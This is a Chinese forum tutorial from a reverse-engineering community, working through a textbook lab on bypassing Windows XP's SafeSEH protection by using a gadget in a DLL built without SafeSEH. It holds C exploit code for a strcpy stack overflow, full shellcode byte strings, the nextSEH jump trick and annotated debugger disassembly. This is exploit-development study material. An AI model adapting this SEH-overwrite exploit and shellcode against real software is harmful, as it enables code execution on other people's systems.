吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 10703|回复: 6
收起左侧

[调试逆向] 突破SafeSEH之利用未启用SafeSEH的模块绕过SafeSEH

[复制链接]
wnagzihxain 发表于 2016-5-7 15:44
本帖最后由 wnagzihxain 于 2016-5-7 20:01 编辑

代码是《0day2》第十一章提供的
环境:xp sp3

如果您没有接触过绕过Windows防护机制SafeSEH的话,建议先看看这篇:突破SafeSEH之SafeSEH对异常处理的保护原理

当异常处理函数位于加载模块内,但是未启用SafeSEH,未启用DEP,而且不是仅包含IL,校验函数就会通过校验

那接下来我们就可以构造一个dll,利用里面的指令来实现跳转

先来创建一个DLL工程

1.png

然后接下来的一步选择“一个简单的DLL工程”就行了

代码如下

[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
//
 
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
        pop eax
        pop eax
        retn
        }
}
生成Release版本,同时因为VC编译的DLL文件默认加载基址是0x10000000,为了防止地址中的"\x00"在赋值shellcode的时候造成截断,所以我们手动修改一下起始加载基址

点击工程-设置-连接->最下面加上“/base:”0x11120000””,但是要注意一点,最后面要加一个空格和后面的item隔开,不然link的时候会出错!!!!!!

2.png

好了然后编译生成DLL就行了,我们来Load进OD看一下
  • 红色的OFF是未启用SafeSEH的模块,可以用于跳板
  • 绿色的ON是启用SafeSEH的模块
  • 绿色的NoSEH的意思是不支持S.E.H,异常直接忽略
  • 其实还有一种Error,但是这里没有显示出来

3.png

到这里已经准备好了未启用SafeSEH的模块

接下来就来分析一下《0day2》上的代码

[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
 
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int main()
{
        HINSTANCE hInst = LoadLibrary(TEXT("1.dll"));//load No_SafeSEH module
        char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}
先加载了我们刚才写的DLL,然后一个test函数,test函数里面明显一个缓冲区溢出,溢出后除0触发异常处理,不过这里是用try的形式添加了一个异常处理

主要分析一下shellcode溢出的具体情况,try{}在栈中形成的异常处理肯定是所有异常处理里最靠近ESP的,所以我们来利用这个异常处理,选择未启用SafeSEH的模块当跳板那是很明确的了

但是为什么要使用pop pop retn呢?为什么要在后面跟8字节的”\x90”呢?

这些得在调试中慢慢分析

我们用VS2005编译,禁用优化,生成Release版本

然后把DLL文件放到EXE同一文件夹下,然后双击运行,碰到断点中断,附加OD调试,OllySSEH插件(这个插件没有的同学可以在论坛找一下)看模块情况,如下图

4.png

好了接下来单步走,跟进test函数

跟进来后点击View看SEHchain

此时还没有加入try的异常处理,所以现在只有两个异常处理

5.png

往下走就会看到增加我们的try{}的S.E.H指针

接下来找一下我们编译的DLL里pop popretn序列

我的在0x11121010,所以修改上面的代码覆盖S.E.H指针的部分为0x11121010

来编译看看是什么效果

左上角就是我们需要使用的跳板了,注意栈布局,可以看出来我们pop掉上面两个,就会retn到nextSEH,nextSEH就在S.E.H-4的位置

这个以前的调试里有讲过,在进行异常处理的时候,会先把nextSEH的指针压栈,然后压进去两个现场相关的参数

补充一下,这个S.E.H就是我们使用try{}而生成的,也就是刚刚说的第三个S.E.H

6.png

我们跟着单步走,来到nextSEH开始的地方

7.png

当retn到nextSEH的时候,因为nextSEH处是”\x90”,所以就顺着滑到shellcode,cld开始就是shellcode,现在我们来处理一下使滑到shellcode的过程更完美

将nextSEH处的指针修改为”\xEB\x0E\x90\x90”

重新编译来看看

其实这句话的意思就是retn到nextSEH的时候加个jmp,跳过下面的S.E.H,这样我们就完美的跳到shellcode的起始位置执行shellcode了

8.png

现在修改的代码如下

[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x0E\x90\x90"//jump
"\x10\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
 
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int main()
{
        HINSTANCE hInst = LoadLibrary(TEXT("1.dll"));//load No_SafeSEH module
        char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}
其实到这里就已经调试完了

但是为什么要在shellcode前面加上8字节的”\x90”呢?

这就需要来讲一下try{}这东西了

来读读test函数的汇编

[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
00401750 >  55              push    ebp
00401751    8BEC            mov     ebp, esp
00401753    6A FE           push    -2                                  ; 在ss:[ebp-4]处赋值-2,关键1
00401755    68 48224000     push    00402248
0040175A    68 15164000     push    _except_handler4
0040175F    64:A1 00000000  mov     eax, dword ptr fs:[0]
00401765    50              push    eax
00401766    81C4 28FFFFFF   add     esp, -0D8
0040176C    A1 00304000     mov     eax, dword ptr [__security_cookie]  ; Security Cookie
00401771    3145 F8         xor     dword ptr [ebp-8], eax
00401774    33C5            xor     eax, ebp
00401776    8945 E0         mov     dword ptr [ebp-20], eax
00401779    53              push    ebx
0040177A    56              push    esi
0040177B    57              push    edi
0040177C    50              push    eax
0040177D    8D45 F0         lea     eax, dword ptr [ebp-10]
00401780    64:A3 00000000  mov     dword ptr fs:[0], eax
00401786    8965 E8         mov     dword ptr [ebp-18], esp
00401789    8B45 08         mov     eax, dword ptr [ebp+8]
0040178C    50              push    eax
0040178D    8D8D 18FFFFFF   lea     ecx, dword ptr [ebp-E8]
00401793    51              push    ecx
00401794    E8 77F8FFFF     call    strcpy                              ; jmp to MSVCR80.strcpy
00401799    83C4 08         add     esp, 8
0040179C    C745 E4 0000000>mov     dword ptr [ebp-1C], 0
004017A3    C745 FC 0000000>mov     dword ptr [ebp-4], 0                ; 将ss:[ebp-4]处修改为0,原本为-2,重点就在这,关键2
004017AA    B8 01000000     mov     eax, 1                              ; 赋值eax为1
004017AF    99              cdq
004017B0    F77D E4         idiv    dword ptr [ebp-1C]                  ; 除0
004017B3    8945 E4         mov     dword ptr [ebp-1C], eax
004017B6    C745 FC FEFFFFF>mov     dword ptr [ebp-4], -2               ; 将ss:[ebp-4]的值恢复-2,关键3
004017BD    EB 10           jmp     short 004017CF                      ; 如果顺利运行的话就跳过try自带异常处理
004017BF    E8 6CFFFFFF     call    MyException                         ; 如果异常则执行自带异常处理
004017C4    C3              retn                                        ; 异常处理完就返回
004017C5    8B65 E8         mov     esp, dword ptr [ebp-18]
004017C8    C745 FC FEFFFFF>mov     dword ptr [ebp-4], -2
004017CF    8B4D F0         mov     ecx, dword ptr [ebp-10]
004017D2    64:890D 0000000>mov     dword ptr fs:[0], ecx
004017D9    59              pop     ecx
004017DA    5F              pop     edi
004017DB    5E              pop     esi
004017DC    5B              pop     ebx
004017DD    8B4D E0         mov     ecx, dword ptr [ebp-20]             ; 校验Security Cookie
004017E0    33CD            xor     ecx, ebp
004017E2    E8 19F8FFFF     call    __security_check_cookie
004017E7    8BE5            mov     esp, ebp
004017E9    5D              pop     ebp
004017EA    C3              retn
从代码中可以看出来,关键1是在函数开始的时候压栈的,也就是在Security Cookie生成之前,然后碰到一个try{},修改为0,在关键2可以看到

当退出的到时候,在关键3的位置,修改回-2,这个数字有一个功能是用于标记当前到了哪个try,应该使用哪个异常处理

上面我们知道,它的位置是ss:[ebp-4],我们重新去看看整个布局的情况还有S.E.H的位置

9.png

走完布置S.E.H的指令,可以看到右下角S.E.H,离-2有4字节,所以如果我们直接将shellcode跟在跳板后面,这个位置就会被破坏,所以我们用”\x90”来填充,也就是上面代码的8字节”\x90”

然后就可以绕过SafeSEH了,当然在实际的二进制漏洞利用中不太可能只使用一种绕过,更多的是多种组合攻击


欢迎交流╭( &#65381;&#12610;&#65381;)&#1608; &#785;&#785;
主要记录二进制攻防的学习笔记和二进制漏洞的分析,各位多指教


最後的最後:如果我有没描述清楚的地方请您提出來我会及时修改,”牛逼啊“,”看看“之类的纯属回复攒积分的請不要回复,谢谢



免费评分

参与人数 2威望 +2 吾爱币 +1 热心值 +1 收起 理由
SABR + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Hmily + 2 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

taxuewuhen 发表于 2016-8-3 16:30
看看先  多大
tanghaoqiu123 发表于 2016-8-10 17:06
阿阿阿三三三 发表于 2016-9-4 06:04 来自手机
楼主你们使用的编码软件去哪弄的啊!给我发一个好么
SABR 发表于 2017-7-27 09:04
楼主,为啥我的OD调试除0的时候会暂停在那里,不会转入异常呢
筠溪 发表于 2017-8-2 10:51
本帖最后由 筠溪 于 2017-8-2 13:34 编辑

大神,我有个问题,你加了一个jmp,怎么执行,程序遇到除0错误后,直接就会找到异常处理函数指针指向的地方执行了啊,就是所谓的pop pop ret,你这个jmp的指令是在这个跳转指令前面啊。
pop pop ret之后,就直接跳过8字节的90,到shellcode执行了啊。
筠溪 发表于 2017-8-2 15:15
筠溪 发表于 2017-8-2 10:51
大神,我有个问题,你加了一个jmp,怎么执行,程序遇到除0错误后,直接就会找到异常处理函数指针指向的地方 ...

我明白了,ret之后不是返回到覆盖的地址后面,而是返回到栈顶... ...
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-19 01:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表